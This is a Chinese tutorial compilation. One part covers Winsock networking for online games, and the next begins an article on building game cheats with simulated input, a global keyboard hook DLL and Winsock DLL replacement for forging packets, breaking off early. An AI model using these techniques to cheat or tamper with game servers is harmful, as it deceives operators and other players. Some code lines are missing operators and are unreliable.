以上用简单的伪代码给大家阐述了单机游戏与网络游戏的执行流程，大家应该可以清楚看出两者的差别，以及两者间相互的关系。我们可以换个角度考虑，网络游戏就是把单机游戏的逻辑运算部分搬移到游戏服务器中进行处理，然后把处理结果(包括其他玩家数据)通过游戏服务器返回给连接的玩家。

网络互连

在了解了网络游戏基本形态之后，让我们进入真正的实际应用部分。首先，作为网络游戏，除了常规的单机游戏所必需的东西之外，我们还需要增加一个网络通讯模块，当然，这也是网络游戏较为主要的部分，我们来讨论一下如何实现网络的通讯模块。

一个完善的网络通讯模块涉及面相当广，本文仅对较为基本的处理方式进行讨论。网络游戏是由客户端和服务器组成，相应也需要两种不同的网络通讯处理方式，不过也有相同之处，我们先就它们的共同点来进行介绍。我们这里以 Microsoft Windows 2000 [2000

Server]作为开发平台，并且使用 Winsock 作为网络接口（可能一些朋友会考虑使用 DirectPlay 来进行网络通讯，不过对于当前在线游戏，DirectPlay 并不适合，具体原因这里就不做讨论了）。

确定好平台与接口后，我们开始进行网络连接创建之前的一些必要的初始化工作，这部分无论是客户端或者服务器都需要进行。让我们看看下面的代码片段：

```
WORD wVersionRequested;
WSADATAwsaData;
wVersionRequested MAKEWORD(1, 1);
if( WSAStartup( wVersionRequested, &wsaData ) &#33;0 )
{
   Failed( WinSock Version Error&#33;" );
}
```

上面通过调用 Windows 的 socket API 函数来初始化网络设备，接下来进行网络 Socket 的创建，代码片段如下：

```
SOCKET sSocket socket( AF_INET, m_lProtocol, 0 );
if( sSocket == INVALID_SOCKET )
{
   Failed( "WinSocket Create Error&#33;" );
}
```

这里需要说明，客户端和服务端所需要的 Socket 连接数量是不同的，客户端只需要一个 Socket 连接足以满足游戏的需要，而服务端必须为每个玩家用户创建一个用于通讯的 Socket 连接。当然，并不是说如果服务器上没有玩家那就不需要创建 Socket 连接，服务器端在启动之时会生成一个特殊的 Socket 用来对玩家创建与服务器连接的请求进行响应，等介绍网络监听部分后会有更详细说明。

有初始化与创建必然就有释放与删除，让我们看看下面的释放部分：

```
if( sSocket &#33;= INVALID_SOCKET )
{
   closesocket( sSocket );
}
if( WSACleanup() &#33;= 0 )
{
   Warning( "Can&#39;t release Winsocket" );
}
```

这里两个步骤分别对前面所作的创建初始化进行了相应释放。

接下来看看服务器端的一个网络执行处理，这里我们假设服务器端已经创建好一个 Socket 供使用，我们要做的就是让这个 Socket 变成监听网络连接请求的专用接口，看看下面代码片段：

```
SOCKADDR_IN addr;
memset( &addr, 0, sizeof(addr) );
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl( INADDR_ANY );
addr.sin_port = htons( Port );     // Port 为要监听的端口号
// 绑定 socket
if( bind( sSocket, (SOCKADDR*)&addr, sizeof(addr) ) == SOCKET_ERROR )
{
   Failed( "WinSocket Bind Error&#33;");
}
// 进行监听
if( listen( sSocket, SOMAXCONN ) == SOCKET_ERROR )
{
   Failed( "WinSocket Listen Error&#33;");
}
```

这里使用的是阻塞式通讯处理，此时程序将处于等待玩家用户连接的状态，倘若这时候有客户端连接进来，则通过 accept()来创建针对此玩家用户的 Socket 连接，代码片段如下：

```
sockaddraddrServer;
int nLen sizeof( addrServer );
SOCKET sPlayerSocket accept( sSocket, &addrServer, &nLen );
if( sPlayerSocket == INVALID_SOCKET )
{
   Failed( WinSocket Accept Error&#33;");
}
```

这里我们创建了 sPlayerSocket 连接，此后游戏服务器与这个玩家用户的通讯全部通过此 Socket 进行，到这里为止，我们服务器已经有了接受玩家用户连接的功能，现在让我们来看看游戏客户端是如何连接到游戏服务器上，代码片段如下：

```
SOCKADDR_IN addr;
```

```
memset( &addr, 0, sizeof(addr) );
addr.sin_family = AF_INET;// 要连接的游戏服务器端口号
addr.sin_addr.s_addr = inet_addr( IP );// 要连接的游戏服务器 IP 地址，
addr.sin_port = htons( Port );//到此，客户端和服务器已经有了通讯的桥梁，
//接下来就是进行数据的发送和接收：
connect( sSocket, (SOCKADDR*)&addr, sizeof(addr) );
if( send( sSocket, pBuffer, lLength, 0 ) == SOCKET_ERROR )
{
   Failed( "WinSocket Send Error&#33;");
}
```

这里的 pBuffer 为要发送的数据缓冲指针，lLength 为需要发送的数据长度，通过这支 Socket API 函数，我们无论在客户端或者服务端都可以进行数据的发送工作，同时，我们可以通过 recv()这支 Socket API 函数来进行数据接收：

```
if( recv( sSocket, pBuffer, lLength, 0 ) == SOCKET_ERROR )
{
   Failed( "WinSocket Recv Error&#33;");
}
```

其中 pBuffer 用来存储获取的网络数据缓冲，lLength 则为需要获取的数据长度。

现在，我们已经了解了一些网络互连的基本知识，但作为网络游戏，如此简单的连接方式是无法满足网络游戏中百人千人同时在线的，我们需要更合理容错性更强的网络通讯处理方式，当然，我们需要先了解一下网络游戏对网络通讯的需求是怎样的。

goodmorning 收集整理(请*勿删除)

网络游戏通讯模型初探②

大家知道，游戏需要不断循环处理游戏中的逻辑并进行游戏世界的绘制，上面所介绍的 Winsock 处理方式均是以阻塞方式进行，这样就违背了游戏的执行本质，可以想象，在客户端连接到服务器的过程中，你的游戏不能得到控制，这时如果玩家想取消连接或者做其他处理，甚至显示一个最基本的动态连接提示都不行。

所以我们需要用其他方式来处理网络通讯，使其不会与游戏主线相冲突，可能大家都会想到： 创建一个网络线程来处理不就可以了？没错，我们可以创建一个专门用于网络通讯的子线程来解决这个问题。当然，我们游戏中多了一个线程，我们就需要做更多的考虑，让我们来看看如何创建网络通讯线程。

在 Windows 系统中，我们可以通过 CreateThread()函数来进行线程的创建，看看下面的代码片段：

```
DWORD dwThreadID;
HANDLE hThread = CreateThread( NULL, 0, NetThread/* 网络线程函式 */, sSocket, 0, &dwThreadID );
if( hThread == NULL )
{
  Failed( "WinSocket Thread Create Error&#33;");
}
```

这里我们创建了一个线程，同时将我们的 Socket 传入线程函数：

```
DWORD WINAPINetThread(LPVOID lParam)

{
  SOCKET sSocket (SOCKET)lParam;
  ...
  return 0;
}
```

NetThread 就是我们将来用于处理网络通讯的网络线程。那么，我们又如何把 Socket 的处理引入线程中？

看看下面的代码片段：

```
HANDLE hEvent;
hEvent = CreateEvent(NULL,0,0,0);
// 设置异步通讯
if( WSAEventSelect( sSocket, hEvent,
FD_ACCEPT|FD_CONNECT|FD_READ|FD_WRITE|FD_CLOSE ) ==SOCKET_ERROR )
{
  Failed( "WinSocket EventSelect Error&#33;");
}
```

通过上面的设置之后，WinSock API 函数均会以非阻塞方式运行，也就是函数执行后会立即返回，这时网络通讯会以事件方式存储于 hEvent，而不会停顿整支程式。

完成了上面的步骤之后，我们需要对事件进行响应与处理，让我们看看如何在网络线程中获得网络通讯所产生的事件消息：

```
WSAEnumNetworkEvents( sSocket, hEvent, &SocketEvents );
```

```
if( SocketEvents.lNetworkEvents &#33;= 0 )
{
   switch( SocketEvents.lNetworkEvents )
   {
      case FD_ACCEPT:
         WSANETWORKEVENTS SocketEvents;
         break;
      case FD_CONNECT:
      {
         if( SocketEvents.iErrorCode[FD_CONNECT_BIT] == 0)
         // 连接成功
         {
         // 连接成功后通知主线程（游戏线程）进行处理
         }
      }
         break;
      case FD_READ:
      // 获取网络数据
      {
         if( recv( sSocket, pBuffer, lLength, 0) == SOCKET_ERROR )
         {
            Failed( "WinSocket Recv Error&#33;");
         }
      }
         break;
      case FD_WRITE:
         break;
      case FD_CLOSE:
         // 通知主线程（游戏线程）， 网络已经断开
         break;
      default:
         break;
   }
}
```

这里仅对网络连接(FD_CONNECT) 和读取数据(FD_READ) 进行了简单模拟操作，但实际中网络线程接收到事件消息后，会对数据进行组织整理，然后再将数据回传给我们的游戏主线程使用，游戏主线程再将处理过的数据发送出去，这样一个往返就构成了我们网络游戏中的数据通讯，是让网络游戏动起来的最基本要素。

最后，我们来谈谈关于网络数据包（数据封包）的组织，网络游戏的数据包是游戏数据通讯的最基本单位，网络游戏一般不会用字节流的方式来进行数据传输，一个数据封包也可以看作是一条消息指令，在游戏进行中，服务器和客户端会不停的发送和接收这些消

息包，然后将消息包解析转换为真正所要表达的指令意义并执行。

互动与管理

说到互动，对于玩家来说是与其他玩家的交流，但对于计算机而言，实现互动也就是实现数据消息的相互传递。前面我们已经了解过网络通讯的基本概念，它构成了互动的最基本条件，接下来我们需要在这个网络层面上进行数据的通讯。遗憾的是，计算机并不懂得如何表达玩家之间的交流，因此我们需要提供一套可让计算机了解的指令组织和解析机制，也就是对我们上面简单提到的网络数据包（数据封包）的处理机制。

为了能够更简单的给大家阐述网络数据包的组织形式，我们以一个聊天处理模块来进行讨论，看看下面的代码结构：

```
struct tagMessage{
   long lType;
   long lPlayerID;
};
// 消息指令
// 指令相关的玩家标识
char strTalk[256]; // 消息内容
```

上面是抽象出来的一个极为简单的消息包结构，我们先来谈谈其各个数据域的用途：

首先，lType 是消息指令的类型，这是最为基本的消息标识，这个标识用来告诉服务器或客户端这条指令的具体用途，以便于服务器或客户端做出相应处理。lPlayerID 被作为玩家的标识。大家知道，一个玩家在机器内部实际上也就是一堆数据，特别是在游戏服务器中，可能有成千上万个玩家，这时候我们需要一个标记来区分玩家，这样就可以迅速找到特定玩家，并将通讯数据应用于其上。

strTalk 是我们要传递的聊天数据，这部分才是真正的数据实体，前面的参数只是数据实体应用范围的限定。

在组织完数据之后，紧接着就是把这个结构体数据通过 Socket 连接发送出去和接收进来。这里我们要了解，网络在进行数据传输过程中，它并不关心数据采用的数据结构，这就需要我们把数据结构转换为二进制数据码进行发送，在接收方，我们再将这些二进制数据码转换回程序使用的相应数据结构。让我们来看看如何实现：

```
tagMessageMsg;
Msg.lTypeMSG_CHAT;
Msg.lPlayerID 1000;
strcpy( &Msg.strTalk, "聊天信息" );
```

首先，我们假设已经组织好一个数据包，这里 MSG_CHAT 是我们自行定义的标识符，当然，这个标识符在服务器和客户端要统一。玩家的 ID 则根据游戏需要来进行设置，这里 1000 只作为假设，现在继续：

```
char* p = (char*)&Msg;
long lLength = sizeof( tagMessage );
send( sSocket, p, lLength );
// 获取数据结构的长度
```

我们通过强行转换把结构体转变为 char 类型的数据指针，这样就可以通过这个指针来进行流式数据处理，这里通过 sizeof() 获得结构体长度，然后用 WinSock 的 Send() 函数将数据发送出去。

接下来看看如何接收数据：

```
long lLength = sizeof( tagMessage );
char* Buffer = new char[lLength];
recv( sSocket, Buffer, lLength );
tagMessage* p = (tagMessage*)Buffer;
// 获取数据
```

在通过 WinSock 的 recv() 函数获取网络数据之后，我们同样通过强行转换把获取出来的缓冲数据转换为相应结构体，这样就可以方便地对数据进行访问。（注：强行转换仅仅作为数据转换的一种手段，实际应用中有更多可选方式，这里只为简洁地说明逻辑）谈到此处，不得不提到服务器/ 客户端如何去筛选处理各种消息以及如何对通讯数据包进行管理。无论是服务器还是客户端，在收到网络消息的时候，通过上面的数据解析之后，还必须对消息类型进行一次筛选和派分，简单来说就是类似 Windows 的消息循环，不同消息进行不同处理。这可以通过一个 switch 语句（熟悉 Windows 消息循环的朋友相信已经明白此意），基于消
息封包里的 lType 信息，对消息进行区分处理，考虑如下代码片段：

```
switch( p->lType ) // 这里的 p->lType 为我们解析出来的消息类型标识
{
   case MSG_CHAT: // 聊天消息
      break;
   case MSG_MOVE: // 玩家移动消息
      break;
   case MSG_EXIT: // 玩家离开消息
      break;
   default:
```

```
    break;
}
```

上面片段中的 MSG_MOVE 和 MSG_EXIT 都是我们虚拟的消息标识（一个真实游戏中的标识可能会有上百个，这就需要考虑优化和优先消息处理问题）。此外，一个网络游戏服务器面对的是成百上千的连接用户，我们还需要一些合理的数据组织管理方式来进行相关处理。普通的单体游戏服务器，可能会因为当机或者用户过多而导致整个游戏网络瘫痪，而这也就引入分组服务器机制，我们把服务器分开进行数据的分布式处理。

我们把每个模块提取出来，做成专用的服务器系统，然后建立一个连接所有服务器的数据中心来进行数据交互，这里每个模块均与数据中心创建了连接，保证了每个模块的相关性，同时玩家转变为与当前提供服务的服务器进行连接通讯，这样就可以缓解单独一台服务器所承受的负担，把压力分散到多台服务器上，同时保证了数据的统一，而且就算某台服务器因为异常而当机也不会影响其他模块的游戏玩家，从而提高了整体稳定性。

分组式服务器缓解了服务器的压力，但也带来了服务器调度问题，分组式服务器需要对服务器跳转进行处理，就以一个玩家进行游戏场景跳转作为讨论基础：假设有一玩家处于游戏场景 A，他想从场景 A 跳转到场景 B，在游戏中，我们称之场景切换，这时玩家就会触发跳转需求，比如走到了场景中的切换点，这样服务器就把玩家数据从"游戏场景 A 服务器"删除，同时在"游戏场景 B 服务器"中把玩家建立起来。

这里描述了场景切换的简单模型，当中处理还有很多步骤，不过通过这样的思考相信大家可以派生出很多应用技巧。不过需要注意的是，在场景切换或者说模块间切换的时候，需要切实考虑好数据的传输安全以及逻辑合理性，否则切换很可能会成为将来玩家复制物品的桥梁。

总结

本篇讲述的都是通过一些简单的过程来进行网络游戏通讯，提供了一个制作的思路，虽然具体实现起来还有许多要做，但只要顺着这个思路去扩展、去完善，相信大家很快就能够编写出自己的网络通讯模块。由于时间仓促，本文在很多细节方面都有省略，文中若有错误之处也望大家见谅。

go*odmorning 收集整理(请勿删除)

游戏外挂设计技术探讨①

一、 前言

所谓游戏外挂，其实是一种游戏外辅程序，它可以协助玩家自动产生游戏动作、修改游戏网络数据包以及修改游戏内存数据等，以实现玩家用最少的时间和金钱去完成功力升级

和过关斩将。虽然，现在对游戏外挂程序的“合法”身份众说纷纭，在这里我不想对此发表任何个人意见，让时间去说明一切吧。

不管游戏外挂程序是不是“合法”身份，但是它却是具有一定的技术含量的，在这些小小程序中使用了许多高端技术，如拦截 Sock 技术、拦截 API 技术、模拟键盘与鼠标技术、直接修改程序内存技术等等。本文将对常见的游戏外挂中使用的技术进行全面剖析。

二、认识外挂

游戏外挂的历史可以追溯到单机版游戏时代，只不过当时它使用了另一个更通俗易懂的名字??游戏修改器。它可以在游戏中追踪锁定游戏主人公的各项能力数值。这样玩家在游戏中可以达到主角不掉血、不耗费魔法、不消耗金钱等目的。这样降低了游戏的难度，使得玩家更容易通关。

随着网络游戏的时代的来临，游戏外挂在原有的功能之上进行了新的发展，它变得更加多种多样，功能更加强大，操作更加简单，以至有些游戏的外挂已经成为一个体系，比如《石器时代》，外挂品种达到了几十种，自动战斗、自动行走、自动练级、自动补血、加速、不遇敌、原地遇敌、快速增加经验值、按键精灵……几乎无所不包。

游戏外挂的设计主要是针对于某个游戏开发的，我们可以根据它针对的游戏的类型可大致可将外挂分为两种大类。

一类是将游戏中大量繁琐和无聊的攻击动作使用外挂自动完成，以帮助玩家轻松搞定攻击对象并可以快速的增加玩家的经验值。比如在《龙族》中有一种工作的设定，玩家的工作等级越高，就可以驾驭越好的装备。但是增加工作等级却不是一件有趣的事情，毋宁说是重复枯燥的机械劳动。如果你想做法师用的杖，首先需要做基本工作--?砍树。砍树的方法很简单，在一棵大树前不停的点鼠标就可以了，每 10000 的经验升一级。这就意味着玩家要在大树前不停的点击鼠标，这种无聊的事情通过"按键精灵"就可以解决。外挂的"按键精灵"功能可以让玩家摆脱无趣的点击鼠标的工作。

另一类是由外挂程序产生欺骗性的网络游戏封包，并将这些封包发送到网络游戏服务器，利用这些虚假信息欺骗服务器进行游戏数值的修改，达到修改角色能力数值的目的。这类外挂程序针对性很强，一般在设计时都是针对某个游戏某个版本来做的，因为每个网络游戏服务器与客户端交流的数据包各不相同，外挂程序必须要对欺骗的网络游戏服务器的数据包进行分析，才能产生服务器识别的数据包。这类外挂程序也是当前最流利的一类游戏外挂程序。

另外，现在很多外挂程序功能强大，不仅实现了自动动作代理和封包功能，而且还提供了对网络游戏的客户端程序的数据进行修改，以达到欺骗网络游戏服务器的目的。我相信，随着网络游戏商家的反外挂技术的进展，游戏外挂将会产生更多更优秀的技术，让我们期待着看场技术大战吧.....

三、外挂技术综述

可以将开发游戏外挂程序的过程大体上划分为两个部分：

前期部分工作是对外挂的主体游戏进行分析，不同类型的外挂分析主体游戏的内容也不相同。如外挂为上述谈到的外挂类型中的第一类时，其分析过程常是针对游戏的场景中的攻击对象的位置和分布情况进行分析，以实现外挂自动进行攻击以及位置移动。如外挂为外挂类型中的第二类时，其分析过程常是针对游戏服务器与客户端之间通讯包数据的结构、内容以及加密算法的分析。因网络游戏公司一般都不会公布其游戏产品的通讯包数据的结构、内容和加密算法的信息，所以对于开发第二类外挂成功的关键在于是否能正确分析游戏包数据的结构、内容以及加密算法，虽然可以使用一些工具辅助分析，但是这还是一种坚苦而复杂的工作。

后期部分工作主要是根据前期对游戏的分析结果，使用大量的程序开发技术编写外挂程序以实现对游戏的控制或修改。如外挂程序为第一类外挂时，通常会使用到鼠标模拟技术来实现游戏角色的自动位置移动，使用键盘模拟技术来实现游戏角色的自动攻击。如外挂程序为第二类外挂时，通常会使用到挡截 Sock 和挡截 API 函数技术，以挡截游戏服务器传来的网络数据包并将数据包修改后封包后传给游戏服务器。另外，还有许多外挂使用对游戏客户端程序内存数据修改技术以及游戏加速技术。

本文主要是针对开发游戏外挂程序后期使用的程序开发技术进行探讨，重点介绍的如下几种在游戏外挂中常使用的程序开发技术：

● 动作模拟技术：主要包括键盘模拟技术和鼠标模拟技术。

● 封包技术：主要包括挡截 Sock 技术和挡截 API 技术。

四、动作模拟技术

我们在前面介绍过，几乎所有的游戏都有大量繁琐和无聊的攻击动作以增加玩家的功力，还有那些数不完的迷宫，这些好像已经成为了角色游戏的代名词。现在，外挂可以帮助玩家从这些繁琐而无聊的工作中摆脱出来，专注于游戏情节的进展。外挂程序为了实现自动角色位置移动和自动攻击等功能，需要使用到键盘模拟技术和鼠标模拟技术。下面我们将重点介绍这些技术并编写一个简单的实例帮助读者理解动作模拟技术的实现过程。

１． 鼠标模拟技术

几乎所有的游戏中都使用了鼠标来改变角色的位置和方向，玩家仅用一个小小的鼠标就可以使角色畅游天下。那么，我们如何实现在没有玩家的参与下角色也可以自动行走呢。其实实现这个并不难，仅仅几个 Windows API 函数就可以搞定，让我们先来认识认识这些 API 函数。

(1) 模拟鼠标动作 API 函数 mouse_event，它可以实现模拟鼠标按下和放开等动作。

```
VOID mouse_event(
    DWORD dwFlags, // 鼠标动作标识。
```

```
    DWORD dx, // 鼠标水平方向位置。
    DWORD dy, // 鼠标垂直方向位置。
    DWORD dwData, // 鼠标轮子转动的数量。
    DWORD dwExtraInfo // 一个关联鼠标动作辅加信息。
);
```

其中，dwFlags 表示了各种各样的鼠标动作和点击活动，它的常用取值如下：

MOUSEEVENTF_MOVE　表示模拟鼠标移动事件。

MOUSEEVENTF_LEFTDOWN 表示模拟按下鼠标左键。

MOUSEEVENTF_LEFTUP 表示模拟放开鼠标左键。

MOUSEEVENTF_RIGHTDOWN 表示模拟按下鼠标右键。

MOUSEEVENTF_RIGHTUP 表示模拟放开鼠标右键。

MOUSEEVENTF_MIDDLEDOWN 表示模拟按下鼠标中键。

MOUSEEVENTF_MIDDLEUP 表示模拟放开鼠标中键。

(2)、设置和获取当前鼠标位置的 API 函数。获取当前鼠标位置使用 GetCursorPos()函数，设置当前鼠标位置使用 SetCursorPos()函数。

```
BOOL GetCursorPos(
  LPPOINT  lpPoint // 返回鼠标的当前位置。
);
BOOL SetCursorPos(
int X, // 鼠标的水平方向位置。
    int Y //鼠标的垂直方向位置。
);
```

通常游戏角色的行走都是通过鼠标移动至目的地，然后按一下鼠标的按钮就搞定了。下面我们使用上面介绍的 API 函数来模拟角色行走过程。

```
CPoint oldPoint,newPoint;
GetCursorPos(&oldPoint); //保存当前鼠标位置。
newPoint.x = oldPoint.x+40;
newPoint.y = oldPoint.y+10;
SetCursorPos(newPoint.x,newPoint.y); //设置目的地位置。
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);//模拟按下鼠标右键。
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);//模拟放开鼠标右键。
```

2． 键盘模拟技术

在很多游戏中，不仅提供了鼠标的操作，而且还提供了键盘的操作，在对攻击对象进行攻击时还可以使用快捷键。为了使这些攻击过程能够自动进行，外挂程序需要使用键盘模拟技术。像鼠标模拟技术一样，Windows API 也提供了一系列 API 函数来完成对键盘动作的模拟。

模拟键盘动作 API 函数 keydb_event，它可以模拟对键盘上的某个或某些键进行按下或放开的动作。

```
VOID keybd_event(
    BYTE bVk, // 虚拟键值。
    BYTE bScan, // 硬件扫描码。
    DWORD dwFlags, // 动作标识。
    DWORD dwExtraInfo // 与键盘动作关联的辅加信息。
);
```

其中，bVk 表示虚拟键值，其实它是一个 BYTE 类型值的宏，其取值范围为 1-254。有关虚拟键值表请在 MSDN 上使用关键字“Virtual-Key Codes”查找相关资料。bScan 表示当键盘上某键被按下和放开时，键盘系统硬件产生的扫描码，我们可以 MapVirtualKey()函数在虚拟键值与扫描码之间进行转换。dwFlags 表示各种各样的键盘动作，它有两种取值：KEYEVENTF_EXTENDEDKEY 和 KEYEVENTF_KEYUP。

下面我们使用一段代码实现在游戏中按下 Shift+R 快捷键对攻击对象进行攻击。

```
keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),0,0); //按下 CTRL 键。
keybd_event(0x52,MapVirtualKey(0x52,0),0,0);//键下 R 键。
keybd_event(0x52,MapVirtualKey(0x52,0), KEYEVENTF_KEYUP,0);//放开 R 键。
keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),
KEYEVENTF_KEYUP,0);//放开 CTRL 键。
```

3． 激活外挂

上面介绍的鼠标和键盘模拟技术实现了对游戏角色的动作部分的模拟，但要想外挂能工作于游戏之上，还需要将其与游戏的场景窗口联系起来或者使用一个激活键，就象按键精灵的那个激活键一样。我们可以用 GetWindow 函数来枚举窗口，也可以用 Findwindow 函数来查找特定的窗口。另外还有一个 FindWindowEx 函数可以找到窗口的子窗口，当游戏切换场景的时候我们可以用 FindWindowEx 来确定一些当前窗口的特征，从而判断是否还在这个场景，方法很多了，比如可以 GetWindowInfo 来确定一些东西，比如当查找不到某个按钮的时候就说明游戏场景已经切换了等等办法。当使用激活键进行关联，需要使用 Hook 技术开发一个全局键盘钩子，在这里就不具体介绍全局钩子的开发过程了，在后面的实例中我们将会使用到全局钩子，到时将学习到全局钩子的相关知识。

4． 实例实现

通过上面的学习，我们已经基本具备了编写动作式游戏外挂的能力了。下面我们将创建一个画笔程序外挂，它实现自动移动画笔字光标的位置并写下一个红色的“R”字。以这个实例为基础，加入相应的游戏动作规则，就可以实现一个完整的游戏外挂。这里作者不想使用某个游戏作为例子来开发外挂（因没有游戏商家的授权啊！），如读者感兴趣的话可以找一个游戏试试，最好仅做测试技术用。

首先，我们需要编写一个全局钩子，使用它来激活外挂，激活键为 F10。创建全局钩子步骤如下：

(1)．选择 MFC AppWizard(DLL)创建项目 ActiveKey，并选择 MFC Extension DLL（共享 MFC 拷贝）类型。

(2).插入新文件 ActiveKey.h，在其中输入如下代码：

```
#ifndef _KEYDLL_H
#define _KEYDLL_H

class AFX_EXT_CLASS CKeyHook:public CObject
{
   public:
CKeyHook();
~CKeyHook();
HHOOK Start();    //安装钩子
BOOL Stop(); //卸载钩子
};
#endif
```

(3).在 ActiveKey.cpp 文件中加入声明 " #include ActiveKey.h " 。

(4).在 ActiveKey.cpp 文件中加入共享数据段，代码如下：

```
//Shared data section
#pragma data_seg("sharedata")
HHOOK glhHook=NULL; //钩子句柄。
HINSTANCE glhInstance=NULL; //DLL 实例句柄。
#pragma data_seg()
```

(5).在 ActiveKey.def 文件中设置共享数据段属性，代码如下：

```
SETCTIONS
shareddata READ WRITE SHARED
```

(6).在 ActiveKey.cpp 文件中加入 CkeyHook 类的实现代码和钩子函数代码：

```
//键盘钩子处理函数。
 extern "C" LRESULT WINAPI KeyboardProc(int nCode,WPARAM wParam,LPARAM
lParam)
{
if( nCode >= 0 )
{
if( wParam == 0X79 )//当按下 F10 键时，激活外挂。
  {
    //外挂实现代码。
CPoint newPoint,oldPoint;
 GetCursorPos(&oldPoint);
 newPoint.x = oldPoint.x+40;
 newPoint.y = oldPoint.y+10;
 SetCursorPos(newPoint.x,newPoint.y);
 mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);//模拟按下鼠标左键。
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);//模拟放开鼠标左键。
keybd_event(VK_SHIFT,MapVirtualKey(VK_SHIFT,0),0,0); //按下 SHIFT 键。
keybd_event(0x52,MapVirtualKey(0x52,0),0,0);//按下 R 键。
keybd_event(0x52,MapVirtualKey(0x52,0),KEYEVENTF_KEYUP,0);//放开 R 键。
  keybd_event(VK_SHIFT,MapVirtualKey(VK_SHIFT,0),KEYEVENTF_KEYUP,0);// 放 开
SHIFT 键。
        SetCursorPos(oldPoint.x,oldPoint.y);
  }
}
return CallNextHookEx(glhHook,nCode,wParam,lParam);
}

CKeyHook::CKeyHook(){}
CKeyHook::~CKeyHook()
{
if( glhHook )
Stop();
}
//安装全局钩子。
HHOOK CKeyHook::Start()
{
```

```
glhHook = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);//设置键盘钩子。
return glhHook;
}
        //卸载全局钩子。
        BOOL CKeyHook::Stop()
        {
        BOOL bResult = TRUE;
   if( glhHook )
        bResult = UnhookWindowsHookEx(glhHook);//卸载键盘钩子。
        return bResult;
        }
```

(7).修改 DllMain 函数，代码如下：

```
        extern "C" int APIENTRY
        DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
        {
//如果使用 lpReserved 参数则删除下面这行
UNREFERENCED_PARAMETER(lpReserved);

if (dwReason == DLL_PROCESS_ATTACH)
{
      TRACE0("NOtePadHOOK.DLL Initializing&#33;\n");
       //扩展 DLL 仅初始化一次
      if (&#33;AfxInitExtensionModule(ActiveKeyDLL, hInstance))
return 0;
      new CDynLinkLibrary(ActiveKeyDLL);
                  //把 DLL 加入动态 MFC 类库中
      glhInstance = hInstance;
      //插入保存 DLL 实例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
      TRACE0("NotePadHOOK.DLL Terminating&#33;\n");
      //终止这个链接库前调用它
      AfxTermExtensionModule(ActiveKeyDLL);
}
return 1;
        }
```

(8).编译项目 ActiveKey，生成 ActiveKey.DLL 和 ActiveKey.lib。

接着，我们还需要创建一个外壳程序将全局钩子安装了 Windows 系统中，这个外壳程

序编写步骤如下：

(1).创建一个对话框模式的应用程序，项目名为 Simulate。

(2).在主对话框中加入一个按钮，使用 ClassWizard 为其创建 CLICK 事件。

(3).将 ActiveKey 项目 Debug 目录下的 ActiveKey.DLL 和 ActiveKey.lib 拷贝到 Simulate 项目目录下。

(4).从“工程”菜单中选择“设置”，弹出 Project Setting 对话框，选择 Link 标签，在“对象/库模块”中输入 ActiveKey.lib。

(5).将 ActiveKey 项目中的 ActiveKey.h 头文件加入到 Simulate 项目中，并在 Stdafx.h 中加入#include ActiveKey.h。

(6).在按钮单击事件函数输入如下代码：

```
    void CSimulateDlg::OnButton1()
    {
// TODO: Add your control notification handler code here
if( &amp;#33;bSetup )
{
m_hook.Start();//激活全局钩子。
}
else
{
m_hook.Stop();//撤消全局钩子。
}
bSetup = &amp;#33;bSetup;

    }
```

(7).编译项目，并运行程序，单击按钮激活外挂。

(8).启动画笔程序，选择文本工具并将笔的颜色设置为红色，将鼠标放在任意位置后，按 F10 键，画笔程序自动移动鼠标并写下一个红色的大写 R。图一展示了按 F10 键前的画笔程序的状态，图二展示了按 F10 键后的画笔程序的状态。

图一：按 F10 前状态(001.jpg)

图二：按 F10 后状态(002.jpg)

五、封包技术

通过对动作模拟技术的介绍，我们对游戏外挂有了一定程度上的认识，也学会了使用动作模拟技术来实现简单的动作模拟型游戏外挂的制作。这种动作模拟型游戏外挂有一定的局限性，它仅仅只能解决使用计算机代替人力完成那么有规律、繁琐而无聊的游戏动作。但是，随着网络游戏的盛行和复杂度的增加，很多游戏要求将客户端动作信息及时反馈回服务器，通过服务器对这些动作信息进行有效认证后，再向客户端发送下一步游戏动作信息这样动作模拟技术将失去原有的效应。为了更好地“外挂”这些游戏，游戏外挂程序也进行了升级换代，它们将以前针对游戏用户界面层的模拟推进到数据通讯层，通过封包技术在客户端挡截游戏服务器发送来的游戏控制数据包，分析数据包并修改数据包；同时还需按照游戏数据包结构创建数据包，再模拟客户端发送给游戏服务器，这个过程其实就是一个封包的过程。

封包的技术是实现第二类游戏外挂的最核心的技术。封包技术涉及的知识很广泛，实现方法也很多，如挡截 WinSock、挡截 API 函数、挡截消息、VxD 驱动程序等。在此我们也不可能在此文中将所有的封包技术都进行详细介绍，故选择两种在游戏外挂程序中最常用的两种方法：挡截 WinSock 和挡截 API 函数。

1． 挡截 WinSock

众所周知，Winsock 是 Windows 网络编程接口，它工作于 Windows 应用层，它提供与底层传输协议无关的高层数据传输编程接口。在 Windows 系统中，使用 WinSock 接口为应用程序提供基于 TCP/IP 协议的网络访问服务，这些服务是由 Wsock32.DLL 动态链接库提供的函数库来完成的。

由上说明可知，任何 Windows 基于 TCP/IP 的应用程序都必须通过 WinSock 接口访问网络，当然网络游戏程序也不例外。由此我们可以想象一下，如果我们可以控制 WinSock 接口的话，那么控制游戏客户端程序与服务器之间的数据包也将易如反掌。按着这个思路，下面的工作就是如何完成控制 WinSock 接口了。由上面的介绍可知，WinSock 接口其实是由一个动态链接库提供的一系列函数，由这些函数实现对网络的访问。有了这层的认识，问题就好办多了，我们可以制作一个类似的动态链接库来代替原 WinSock 接口库，在其中实现 WinSock32.dll 中实现的所有函数，并保证所有函数的参数个数和顺序、返回值类型都应与原库相同。在这个自制作的动态库中，可以对我们感兴趣的函数（如发送、接收等函数）进行挡截，放入外挂控制代码，最后还继续调用原 WinSock 库中提供的相应功能函数，这样就可以实现对网络数据包的挡截、修改和发送等封包功能。

下面重点介绍创建挡截 WinSock 外挂程序的基本步骤：

(1) 创建 DLL 项目，选择 Win32 Dynamic-Link Library，再选择 An empty DLL project。

